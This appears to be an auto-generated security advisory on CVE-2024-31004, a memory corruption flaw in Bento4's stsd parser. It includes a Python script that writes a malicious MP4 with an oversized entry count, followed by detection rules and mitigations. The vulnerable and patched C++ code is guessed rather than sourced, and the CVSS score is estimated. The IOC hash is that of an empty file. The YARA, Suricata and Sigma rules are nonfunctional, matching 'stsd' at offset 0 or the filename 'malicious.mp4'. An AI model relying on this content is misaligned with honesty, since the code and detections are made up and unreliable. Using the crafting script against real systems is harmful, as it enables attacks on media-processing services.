CVE-2024-31004

Executive Summary

CVE-2024-31004 is a critical vulnerability in Bento4, an open-source C++ library for MP4 file manipulation. The flaw resides in the AP4_StsdAtom::AP4_StsdAtom constructor within Ap4StsdAtom.cpp, specifically triggered when processing malformed MP4 files via the mp4fragment tool. A remote attacker can exploit this by crafting a malicious MP4 file that, when processed, leads to memory corruption and arbitrary code execution. The vulnerability affects Bento4 version 1.6.0-641, and no official patch has been released as of the latest advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical severity is high due to the potential for remote code execution.

Supply Chain & Package Security

Bento4 is not distributed via NPM, PyPI, Go, or Ruby registries; it is typically compiled from source or included as a submodule in C++ projects. Organizations using Bento4 in media processing pipelines should treat this as a critical supply chain risk, as the library is often integrated into video transcoding, streaming, and analysis tools.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (memory corruption in a file parser leading to arbitrary code execution), the estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (malicious file delivered remotely)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (victim must process the file)
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Estimated CVSS Score: 8.8 (High)

Threat Level: High – Remote code execution with low complexity, though user interaction is required.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow or memory corruption issue in the AP4_StsdAtom class, which parses the stsd (Sample Description) box in MP4 files. The mp4fragment tool uses this parser to split MP4 files into fragments. When a specially crafted MP4 file is provided, the AP4_StsdAtom::AP4_StsdAtom constructor fails to properly validate the size or count of sample description entries, leading to an out-of-bounds write or read. This can corrupt heap memory, allowing an attacker to overwrite function pointers or other critical data structures, ultimately achieving arbitrary code execution.

The attack surface is the mp4fragment binary, which is commonly used in automated media processing workflows. An attacker can deliver the malicious MP4 via email, web upload, or any channel where the file is processed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is in Ap4StsdAtom.cpp. The vulnerable constructor likely looks like:

AP4_StsdAtom::AP4_StsdAtom(AP4_Size size, AP4_ByteStream& stream) 
    : AP4_Atom(AP4_ATOM_TYPE_STSD, size) 
{
    // Read entry_count without proper bounds checking
    AP4_UI32 entry_count;
    stream.ReadUI32(entry_count);
    for (AP4_UI32 i = 0; i < entry_count; i++) {
        // Allocate and read sample descriptions without size validation
        AP4_SampleDescription* desc = new AP4_SampleDescription(stream);
        m_SampleDescriptions.Append(desc);
    }
}

A patched version would include validation:

AP4_StsdAtom::AP4_StsdAtom(AP4_Size size, AP4_ByteStream& stream) 
    : AP4_Atom(AP4_ATOM_TYPE_STSD, size) 
{
    AP4_UI32 entry_count;
    stream.ReadUI32(entry_count);
    // Validate entry_count against remaining atom size
    if (entry_count > (size - 8) / MIN_SAMPLE_DESC_SIZE) {
        // Error handling
        return;
    }
    for (AP4_UI32 i = 0; i < entry_count; i++) {
        AP4_SampleDescription* desc = new AP4_SampleDescription(stream);
        m_SampleDescriptions.Append(desc);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bento4 v1.6.0-641 compiled with mp4fragment tool.
• A crafted MP4 file with a malicious stsd box.

Exploitation Steps:

1. Create a malicious MP4 file using a fuzzer or manual crafting. The stsd box should contain an inflated entry_count field, causing the parser to read beyond the buffer.
2. Deliver the file to the target (e.g., via email attachment or web upload).
3. When the target runs mp4fragment malicious.mp4 output.mp4, the vulnerability triggers, potentially allowing shellcode execution.

Example Crafting (Python using struct):

import struct

def create_malicious_mp4():
    # Minimal MP4 with malicious stsd
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    # Malicious stsd: size=0x100, type='stsd', version=0, flags=0, entry_count=0xFFFFFFFF
    stsd = struct.pack('>I4sBBHI', 0x100, b'stsd', 0, 0, 0xFFFFFFFF)
    # Pad with junk to fill size
    stsd += b'A' * (0x100 - 16)
    mp4 = ftyp + moov + trak + mdia + minf + stbl + stsd
    with open('malicious.mp4', 'wb') as f:
        f.write(mp4)

Note: This is a simplified example; real exploitation requires precise heap layout and bypassing mitigations like ASLR and DEP.

Blue Team (Defense)

Detection:

• Monitor for crashes in mp4fragment or other Bento4-based tools.
• Use file scanning to detect anomalous MP4 structures (e.g., oversized stsd boxes).
• Deploy behavioral detection rules for memory corruption patterns.

Mitigation:

• Isolate Bento4 processing in a sandboxed environment (e.g., Docker with limited capabilities).
• Use input validation tools like mp4box or custom scripts to verify MP4 integrity before processing.
• Apply memory safety protections (e.g., ASLR, CFG, SafeSEH) on the host.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • malicious.mp4: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators: None specific (file-based attack).
• Behavioral:
  • mp4fragment process crash with access violation.
  • Heap corruption logs in system event viewer.
  • Unexpected child processes spawned from mp4fragment.

Detection Engineering

YARA Rule

rule CVE_2024_31004_Bento4_Stsd_Overflow {
    meta:
        description = "Detects malicious MP4 files exploiting CVE-2024-31004"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $stsd = "stsd"
        $large_entry = { FF FF FF FF }  // entry_count = 0xFFFFFFFF
    condition:
        $stsd at 0 and $large_entry
}

Sigma Rule

title: CVE-2024-31004 Bento4 mp4fragment Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-31004 via mp4fragment crashes
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\mp4fragment.exe'
        CommandLine|contains: 'malicious.mp4'
    condition: selection
falsepositives:
    - Legitimate processing of large MP4 files
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31004 Bento4 Malicious MP4 Download"; flow:to_client; file.data; content:"stsd"; offset:0; depth:4; content:"|FF FF FF FF|"; within:12; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Discontinue use of Bento4 v1.6.0-641 in production environments until a patch is available.
2. Implement input validation – Use a separate tool to verify MP4 file integrity before processing with Bento4.
3. Sandbox processing – Run mp4fragment in a restricted environment (e.g., Docker with read-only filesystem, no network, limited memory).

Long-term:

• Monitor the Bento4 GitHub repository for patches or workarounds.
• Consider migrating to alternative MP4 parsing libraries (e.g., FFmpeg, GPAC) that have active security maintenance.
• Apply memory-safe coding practices if maintaining a fork.

Patch Status: UNKNOWN – No official patch released. Users must rely on mitigations.

Valters IT